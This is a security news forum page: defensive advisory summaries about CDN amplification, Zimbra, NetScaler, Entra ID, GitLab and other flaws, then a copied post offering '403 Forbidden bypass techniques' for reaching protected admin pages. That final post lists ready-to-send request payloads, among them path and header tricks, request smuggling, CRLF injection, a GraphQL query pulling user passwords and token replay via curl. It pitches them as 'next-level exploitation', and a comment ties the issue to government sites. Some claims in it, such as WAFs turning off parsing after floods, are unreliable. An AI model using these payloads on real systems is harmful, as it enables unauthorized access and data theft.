Vulnerabilities & CVEs

Researchers have identified two denial-of-service (DoS) attack techniques that abuse how large content delivery networks (CDNs) translate inbound HTTP/3 requests into HTTP/1.1 traffic destined for origin servers. Dubbed CDN Tsunami, these attack vectors achieve a low-bandwidth amplification factor of up to 350x against the target backend. The attacks work by exploiting the protocol conversion process built into many CDN edge nodes. When a client speaks HTTP/3—typically over QUIC—the CDN unwraps that traffic and re-encodes it as HTTP/1.1 before forwarding it upstream. In specific implementations, this translation step can inflate a seemingly tiny request stream into a much heavier workload for the origin. The research team evaluated CDN Tsunami against several major providers, including Alibaba and Baidu. The core issue lies in how these edge nodes handle specific HTTP/3 features or frame sequences during the conversion to HTTP/1.1, allowing an attacker to send a sparse set of requests from a single connection and force the CDN into generating a massive burst of requests toward the website's server. Key details from the evaluation: Attack type: Denial-of-service via protocol translation (HTTP/3 to HTTP/1.1) Amplification factor: Up to 350x from a low-bandwidth source stream Target surface: Origin servers behind participating CDN edge nodes Tested providers: Alibaba, Baidu No specific patch or CVE identifier has been attached to this research at the time of publication. The findings emphasize that the amplification potential depends on the CDN's internal request-generation logic rather than a single software bug. Mitigation strategies would likely involve tightening CDN rate controls, monitoring per-connection upstream request counts, and validating the request patterns your origin actually receives from edge nodes. Source: The Hacker News Are any of your edge-to-origin configurations exposed to this kind of translation abuse, and have you checked your CDN's rate-limit thresholds for HTTP/3 to HTTP/1.1 conversion spikes?

A now-patched security flaw in Zimbra Collaboration (ZCS) is being actively exploited in the wild, according to a warning from the Polish Computer Emergency Response Team (CERT Polska). The vulnerability, tracked as CVE-2026-73570 (CVSS score: 8.9), is a command injection flaw that allows for unauthenticated remote code execution. The attack vector reportedly involves the SNMP service, which is often overlooked in hardened deployments. Product affected: Zimbra Collaboration Suite (ZCS) Nature of flaw: Command injection leading to remote code execution Access level: Unauthenticated Status: Patch available; active exploitation confirmed CERT Polska's advisory highlights that this is not a theoretical risk but an active threat, urging administrators to verify their instances are updated to the latest patched build immediately. Given the unauthenticated nature of the flaw, any exposed Zimbra server is a potential target. Organizations running Zimbra should prioritize checking their SNMP configuration and ensuring the latest security patches are applied. Delaying this could leave mail servers—which often hold sensitive data—directly exposed to compromise. Source: The Hacker News Is your team already auditing Zimbra instances for exposure, or are you waiting for a more targeted advisory before patching?

Citrix has shipped security updates for NetScaler ADC and NetScaler Gateway deployments, addressing two vulnerabilities, including a critical-severity authentication bypass flaw. The issues impact customer-managed instances of these appliances, as well as certain FIPS and NDcPP builds, and the SecurAccess product. The most severe of the two vulnerabilities allows an attacker to bypass authentication on affected gateway and AAA server configurations. Successful exploitation could grant unauthorized access to the management interface or allow an attacker to impersonate legitimate users, depending on the deployment setup. All organizations running affected versions are advised to review the advisory and apply the relevant updates immediately. Given the public availability of proof-of-concept research in similar cases, prompt patching is strongly recommended. Affected products: NetScaler ADC and NetScaler Gateway (customer-managed), including specific FIPS and NDcPP builds, and SecurAccess Action required: Apply the latest vendor-provided updates to close the vulnerability path Recommendation: If immediate patching is not possible, restrict management access to trusted networks and monitor for anomalous authentication activity Source: The Hacker News Is your team running any of the affected NetScaler builds, and are you prioritizing this patch ahead of your next maintenance window?

Researchers have disclosed a critical vulnerability in isolated-vm, a widely used open-source JavaScript sandbox with over 2,900 GitHub stars and 190 forks. The flaw allows an attacker to escape the sandboxed environment and potentially achieve code execution on the host system. The issue, tracked as GHSA-864f-rcv7-6rh4, has not yet been assigned a CVE identifier. It affects all versions of the library up to and including 7.0.0. Impacted: All isolated-vm versions before and including 7.0.0 Type: Sandbox escape leading to potential remote code execution (RCE) Status: No CVE assigned yet; advisory available via GitHub Given the library's popularity in Node.js applications for running untrusted code, developers relying on isolated-vm for security boundaries should monitor upstream releases closely and apply patches as soon as they become available. This vulnerability highlights the inherent risk of relying solely on sandboxing mechanisms without additional layers of isolation. Source: The Hacker News Is your team currently using isolated-vm in production, and how are you planning to mitigate this while waiting for an official patch?

Federal authorities have issued a fresh warning about an ongoing campaign aimed at critical infrastructure operators within the United States. The advisory, released on Wednesday, describes an active threat where attackers are leveraging artificial intelligence to generate custom exploit scripts, specifically targeting Siemens S7 Series Programmable Logic Controllers (PLCs). According to the alert, the initial phase of this activity focuses on reconnaissance, with the threat actors using AI-generated code to probe for vulnerabilities within these industrial control systems. The scripts are reportedly disguised as legitimate monitoring or maintenance tools to evade detection. This marks a notable shift in the threat landscape, where AI is being used to lower the barrier for developing specialized attack tools against operational technology environments. Key details from the advisory include: The campaign is currently in a reconnaissance and capability development phase. Attackers are using AI-generated scripts to target Siemens S7 PLCs. The malicious tools are crafted to appear as benign monitoring software. The threat is specifically aimed at organizations within U.S. critical infrastructure sectors. While the advisory does not associate the activity with any specific CVE identifier at this time, the risk to industrial control systems is significant. Organizations utilizing Siemens S7 hardware are advised to review their current security posture, monitor for unusual network traffic that mimics legitimate administrative tools, and inspect any recently deployed software on OT networks. Source: The Hacker News Given that these scripts are disguised as monitoring tools, how is your organization distinguishing between legitimate OT management software and potential AI-generated threats on the network?

This week’s threat landscape reinforces a familiar theme: trusted tools and legitimate processes are being weaponized to bypass defenses. Several campaigns highlight how signed drivers are being used maliciously, while popular platforms like Gogs and n8n are under scrutiny for critical flaws that enable remote code execution. In the realm of open-source software, a vulnerability in Gogs 10.0 has been identified that allows for remote code execution. The issue stems from an inadequate header check, which an attacker can exploit to run arbitrary code on the server. Administrators are urged to review their exposure to this flaw immediately, as the technical details suggest a low barrier to entry for exploitation. Elsewhere, the workflow automation platform n8n is facing a similar threat, with a pathway that shifts workflow access into full remote code execution. This highlights a growing risk where application-level permissions can cascade into system-level compromise. For defenders, the key takeaway is to scrutinize integration points and API permissions, as these are increasingly becoming the initial foothold for attackers. The article also touches on the rising influence of AI in offensive security. A notable mention includes the GLM-5.3 model, which has been used to accelerate exploit research, effectively lowering the skill barrier required to discover and weaponize vulnerabilities. Furthermore, a bounty of $10 million is being offered in a separate initiative, underscoring the high value placed on discovering critical flaws in widely used software. Beyond these specific cases, the report notes that old bugs and unusual hiding tactics continue to plague organizations. Exposed systems remain a primary entry point, and the use of legitimate applications to blend in with normal traffic makes detection significantly harder. The overarching narrative remains clear: the effort required to cause damage is dropping, while the tools available to defenders are being actively subverted. Source: The Hacker News Are you currently auditing your self-hosted instances of Gogs or n8n, and how are you verifying that your API permissions aren’t broad enough to lead to a full system compromise?

Microsoft has released a patch for a critical vulnerability in Entra ID that carries the maximum CVSS score of 10.0, making it one of the most severe flaws addressed in the company’s latest update cycle. The issue, if exploited, could allow an attacker to achieve remote code execution against affected systems. The flaw was initially flagged in Microsoft’s security bulletin with the "Exploited" field marked as "Yes" under the Exploitability Assessment table. However, after The Hacker News reached out for clarification, Microsoft revised the status on August 21, 2026, confirming that the vulnerability has not been exploited in the wild. The company also emphasized in its update that this vulnerability was not leveraged in any known attacks. Affected component: Entra ID (formerly Azure Active Directory) Severity rating: CVSS 10.0 (Critical) Attack vector: Remote code execution Given the severity of the flaw, administrators are strongly advised to apply the latest patches immediately, even though there is no current evidence of active exploitation. The correction in the bulletin should not diminish the urgency of updating, as the potential impact remains severe. Source: The Hacker News Have you already deployed the patch for Entra ID in your environment, or are you still assessing the exposure?

GitLab shipped security updates this week to close off a critical vulnerability in both its Community Edition (CE) and Enterprise Edition (EE) offerings. Under specific configurations, the flaw could allow an unauthenticated attacker to remotely alter or delete public projects and associated user data. The issue, tracked as CVE-2026-19478, carries a CVSS score of 9.4 and has been rated Critical by GitLab. The root cause resides in the GraphQL API, where improper authorization checks open the door for exploitation. Affected versions include all releases of GitLab CE/EE prior to the latest patched versions. Upgrading to the newest security release is strongly recommended to mitigate the risk. Administrators should review their instance logs for any unauthorized GraphQL queries targeting public projects. If an upgrade cannot be performed immediately, restricting network access to the GitLab instance is advised as a temporary control. Given the severity score and the fact that authentication is not required to trigger the issue, this patch should be treated as urgent. Public-facing instances are particularly exposed, and the window for attackers to exploit the flaw before widespread adoption of the update is likely narrow. Source: The Hacker News Has your team already patched your GitLab instance, or are you still assessing exposure to this GraphQL flaw?

Cisco has released another wave of security updates addressing nine vulnerabilities across its Crosswork platform suite and Secure Workload Software. These patches stem from an ongoing internal security review and include five flaws rated with a perfect CVSS score of 10.0, indicating critical severity. Four of the vulnerabilities affect Crosswork Data Gateway, Crosswork Network Controller, and Crosswork Planning, and they apply regardless of the device configuration. The remaining issues impact Secure Workload Software, with the fixes now available through standard Cisco update channels. Affected products: Crosswork Data Gateway, Crosswork Network Controller, Crosswork Planning, and Secure Workload Software. Severity: Five of the nine flaws carry a CVSS score of 10.0; four are rated lower but still warrant immediate patching. The vulnerabilities are present irrespective of configuration, meaning any deployment of the affected products is at risk. Cisco has not disclosed specific technical details for each flaw, but the updates should be prioritized given the maximum severity ratings. Administrators are advised to review their current software versions and apply the patches without delay to mitigate potential exploitation. Source: The Hacker News Are you running any of the affected Crosswork or Secure Workload components, and how are you prioritizing these critical patches alongside your other vulnerability management tasks?

Check Point Research has detailed a technique that abuses Microsoft Defender's own, legitimately signed boot-time remediation driver to perform arbitrary kernel-level file and registry operations. The attack surface spans Windows 7 through Windows 11 25H2, and notably, no software vulnerability is exploited, nor is any external driver imported onto the target machine. The component in question is BTR.sys (Boot Time Removal Tool), a driver that is already present and signed by Microsoft, making it a trusted part of the OS ecosystem. Impact: An attacker with administrator privileges can leverage BTR.sys to delete or modify sensitive files and registry keys at boot, potentially disabling security products before the OS fully loads. Affected Systems: Windows 7, Windows 8.x, Windows 10, Windows 11 (up to 25H2), and corresponding Server versions. Exploitation: Requires prior admin-level access; no user interaction or external driver installation is needed. Because the driver is Microsoft-signed, the technique effectively bypasses driver signature enforcement and persistent protection mechanisms that would normally block third-party drivers from loading. Check Point notes this is a design trade-off in the remediation tool rather than a flaw in the code itself. Given that the driver is a standard component of Defender, the abuse vector is highly consistent across supported Windows builds. Source: The Hacker News Is your organization actively monitoring for unusual BTR.sys usage during boot, or have you implemented additional integrity checks on signed drivers to mitigate this type of abuse?

Citrix is urging administrators to prioritize patching two newly disclosed vulnerabilities affecting its NetScaler Gateway and NetScaler ADC products. The company has issued an advisory stressing the need for immediate action, as these flaws could expose enterprise networks to significant risk if left unaddressed. The first issue involves a reflected cross-site scripting (XSS) vulnerability, while the second is a more severe privilege escalation flaw. According to the advisory, successful exploitation of the privilege escalation bug could allow an authenticated attacker to gain elevated rights on the appliance, potentially leading to full system compromise. While the XSS flaw requires user interaction, it could still be leveraged to execute malicious scripts in the context of the victim’s session. Affected versions include specific builds of NetScaler Gateway and NetScaler ADC (formerly Citrix ADC and Gateway). Citrix has released updated versions that resolve both issues, and the company strongly recommends upgrading to the latest available firmware. In the absence of an immediate patch, administrators are advised to apply the mitigation steps outlined in the official security bulletin, which include restricting access to management interfaces and reviewing current authentication policies. Affected products: NetScaler Gateway (all supported versions before the fixed release) and NetScaler ADC (all supported versions before the fixed release). Fixed versions: Available in the latest firmware updates from Citrix; check the advisory for your specific platform and build. Temporary workaround: Limit exposure by restricting network access to the management interface and enforcing multi-factor authentication (MFA) on all user sessions. Given the critical nature of these appliances as remote access entry points, Citrix has emphasized that exploitation may be straightforward in some configurations. Organizations using these products should prioritize testing and deploying the patches immediately, as threat actors are likely to attempt exploitation in the coming days. Source: BleepingComputer Are your NetScaler appliances fully patched, and what steps are you taking to verify that no unauthorized access has already occurred?

Microsoft has shipped emergency patches for a maximum-severity vulnerability in Entra ID, its identity and access management platform, after confirming active exploitation in the wild. The flaw, which carries a CVSS score of 10.0, allows an attacker to escalate privileges without any user interaction, potentially giving them full control over affected tenants. The issue stems from improper handling of authentication requests in the Entra ID service. An unauthenticated attacker could exploit this by sending specially crafted requests, leading to unauthorized access to resources and the ability to modify tenant configurations. Microsoft has not released a specific CVE identifier for this issue at the time of writing, but has urged all administrators to apply the update immediately. Affected component: Entra ID (formerly Azure Active Directory) Severity: Critical (CVSS 10.0) Attack vector: Network-based, no authentication required Impact: Full privilege escalation within the tenant, potential data exfiltration The patch is available through the standard Microsoft Update channels, and the company has also provided a workaround for organizations that cannot deploy the fix immediately. Administrators are advised to review their tenant audit logs for suspicious authentication anomalies, particularly any unexpected changes to global administrator roles or conditional access policies. Microsoft has not disclosed the full technical details of the vulnerability or the extent of the exploitation campaign, but they have confirmed that the flaw was used in targeted attacks. This is a rare instance of a maximum-severity rating, underscoring the urgency for organizations running Entra ID to prioritize this update. Source: BleepingComputer Is your organization already auditing Entra ID logs for signs of privilege escalation, given that no CVE ID is publicly available yet?

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added two actively exploited flaws in the TrueConf Server self-hosted communications platform to its Known Exploited Vulnerabilities catalog, mandating that federal agencies patch the issues by a strict deadline. The directive applies to CVE-2025-31162 and CVE-2025-31163, both of which have been confirmed as targets of ongoing attacks in the wild. TrueConf Server is widely used by organizations for video conferencing and collaboration, often deployed on-premises for security-conscious environments. The first vulnerability, an improper access control issue, allows an unauthenticated attacker to gain unauthorized access to system resources. The second is a command injection flaw that could permit remote code execution with elevated privileges. Combined, these weaknesses could let a threat actor completely compromise a vulnerable server, pivot to internal networks, and deploy persistent backdoors. CISA’s binding operational directive gives federal civilian agencies until late April to remediate the flaws, though all organizations running affected versions are strongly urged to act immediately. The agency also notes that these bugs are likely being used by state-sponsored actors, as is often the case when CISA moves to the emergency-patch stage. System administrators should take the following steps: Update TrueConf Server to the latest patched release available from the vendor. Review access logs for signs of unusual or unauthorized activity, especially around exposed management interfaces. Restrict network access to TrueConf Server endpoints, ensuring they are not reachable from the public internet. If compromise is suspected, rotate credentials, audit user accounts, and consider a full reinstall of the affected system. Patches are available directly from TrueConf, and the vendor has published advisories detailing the fixes. Given the active exploitation and the high severity of these vulnerabilities, delaying remediation is not a realistic option for any organization relying on this platform. Source: BleepingComputer

Title: Critical Elementor Pro Vulnerability Allows Remote Code Execution on WordPress Sites Summary: A high-severity flaw in the Elementor Pro plugin could let authenticated attackers upload malicious files, leading to full remote code execution. Patches are available; immediate updates are strongly advised. Body: A critical security flaw has been disclosed in the popular Elementor Pro WordPress plugin, which could give authenticated users the ability to upload arbitrary files, including PHP shells, leading to remote code execution (RCE) on the affected server. The vulnerability, which has been assigned a high severity rating, stems from a broken access control issue combined with insecure file upload functionality. Successful exploitation could allow an attacker with low-level privileges to bypass existing restrictions and upload executable code. Once uploaded, the malicious file can be executed on the server, potentially allowing full site takeover, data theft, or lateral movement within the hosting environment. While the technical advisory indicates that the affected component is the custom file upload handler, the core issue lies in missing authorization checks. This means that even subscribers or contributors on a target site might be able to trigger the flaw, depending on the plugin configuration. The Elementor team has released a security patch in the latest version of the plugin. Site administrators are strongly urged to update Elementor Pro to the newest available version immediately. Those unable to update right away should consider restricting user registrations and reviewing all existing user roles for excessive permissions as temporary mitigation measures. For additional details and the complete technical breakdown, please refer to the original report by BleepingComputer. Source: BleepingComputer

Woah, amazing.

ලංකාවේ දැනට තියෙන ගොඩක් government sites වල මේ කේස් එක තියෙන්වා.

Advanced 403 Forbidden Bypass Techniques 99% of hackers QUIT when they see a 403, But the 1%? They try this I found a 403 Forbidden on /admin. [image: 1768195214196-615139903_122291343098027104_6271356075916249848_n.webp] But then I tried: POST /admin X-Original-URL: /admin /admin..;/ %2e/admin X-Rewrite-URL: /admin /ADMIN (yes, just caps) /;/admin /..;/admin 1. Protocol-Level Downgrade Bypass (only works on dual-stack apps) Target running HTTP/2 or gRPC? Force downgrade: PRI * HTTP/2.0 SM GET /admin HTTP/1.1 🧠 Some WAFs don’t parse dual-layer protocols correctly → backend sees a clean HTTP/1.1. 🧬 2. Content-Length Collapsing (CL.CL) on HTTP Pipelining Send pipelined requests where only 1st is parsed by WAF: POST /admin HTTP/1.1 Host: target.com Content-Length: 13 GET /admin WAF reads POST → blocks. Backend reads 2nd GET /admin → 200 OK. This is invisible to most WAFs. 3. Misconfigured Reverse Proxy Chain Escape Proxy chain: Cloudflare → NGINX → Apache Try: GET /admin X-Accel-Redirect: /admin X-Forwarded-Path: /admin Apache follows X-Accel-Redirect, bypasses upstream auth check. Real-world: Gained internal panel behind Cloudflare. 4. CRLF into Rewrite Bypass Some edge WAFs parse until CRLF \r\n, others don’t. Exploit it: GET / HTTP/1.1%0d%0aX-Rewrite-URL:%20/admin WAF reads URL → clean Backend sees X-Rewrite-URL: /admin → executes 5. Multipart Boundary Injection Bypass () Used when /admin is only allowed for file uploads: POST /upload HTTP/1.1 Content-Type: multipart/form-data; boundary=----1337 Content-Disposition: form-data; name="file"; filename="/admin" Content-Type: text/plain If upload endpoint allows arbitrary path write → full override. 6. Misrouted Mesh Bypass via Service Discovery Kubernetes, Linkerd, Istio-style microservices expose internal routes: Send: Host: admin.internal.svc.cluster.local X-Service-Router: admin If service-mesh is misconfigured, you route directly to internal /admin even if public 403s. ️ 7. GraphQL-Injected 403 Bypass If app has GraphQL and 403-protected admin, try: query { admin { users { password } } } GraphQL often proxies internal microservice calls. Even if /admin is blocked via HTTP, the GQL layer may leak internal paths. 🧠 8. Preconnect Overload → Bypass Abuse edge preconnect logic by flooding with HEAD /admin + Connection: keep-alive. After 30–50 requests: a •WAF disables parsing •Keep-alive tunnel reused for real GET /admin 🧨 Real bypass via persistent connection channeling 9. Browser-Only Token Auth Bypass (via Headless Browser) Some SPAs load tokens via JS → protect /admin based on localStorage. WAF sees unauthenticated, but headless Chrome replays auth token as header → bypass. Use puppeteer + exportAuth → replay: curl -H "Authorization: Bearer <extracted_token>" target.com/admin 🧪 10. Distributed Retry Amplification When target uses edge lambda/WAF that retries failed requests internally, trigger 429s and inject: Retry-After: 0 X-Retry-URL: /admin WAF retries → skips deny logic → backend hits /admin. This is logic poisoning — not brute force. These Aren’t Payloads. They’re Logic Chains. Most tools stop at: /admin%2e X-Forwarded-For: 127.0.0.1 You’re playing 4D chess now: Protocol confusion Reverse proxy reroute GraphQL indirect call SSRF via retry Downgrade injection WAF desyncing These got real bounties: $25,000 from a Cloudflare-protected admin $12,500 via SSRF + Retry Poison $8,000 using pipelined CL.CL request Want a toolkit that automates: Forum members are invited to reply with links to tools for automating these tasks. This is next-level exploitation. Use it right. 🧠 This is not my original post. It was copied from a Facebook page, and the link is provided below. https://web.facebook.com/share/p/1FZBcgu5e7/